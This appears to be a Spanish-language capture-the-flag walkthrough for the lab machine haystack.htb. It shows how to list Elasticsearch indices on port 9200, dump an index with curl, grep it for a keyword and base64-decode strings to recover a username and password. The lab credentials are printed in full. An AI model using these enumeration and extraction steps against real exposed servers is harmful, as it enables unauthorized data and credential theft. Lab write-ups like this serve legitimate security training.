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# Elasticsearch - 9200
Enumeración de índices de Elasticsearch, revisión de exposición de datos, filtrado por palabras clave y recuperación de credenciales en base64.
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Elasticsearch es un motor de búsqueda y análisis en tiempo real utilizado para indexar y buscar rápidamente grandes volúmenes de datos. Se integra en la pila ELK para proporcionar capacidades avanzadas de visualización y análisis de datos.
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### Elasticsearch - Fuga de información
#### El puerto 9200 aloja Elasticsearch versión 6.4.2.
Accediendo a la `/_cat/indices?` la URL devuelve una lista de índices con sus UUID. Para extraer el contenido de un índice, usa la siguiente URL:
`http://haystack.htb:9200//_search?pretty=true&size=1000`
**Filtrado de datos con Curl**
Usando las `citas` del índice y filtrando por la palabra clave del reto, se encuentra información relevante:
```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```
**Decodificación de cadenas codificadas en Base64**
Se recuperan dos cadenas codificadas en base64. Al decodificarlas, se revelan las credenciales:
```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```
**Usuario:** `security`/ **Contraseña:** `spanish.is.key`
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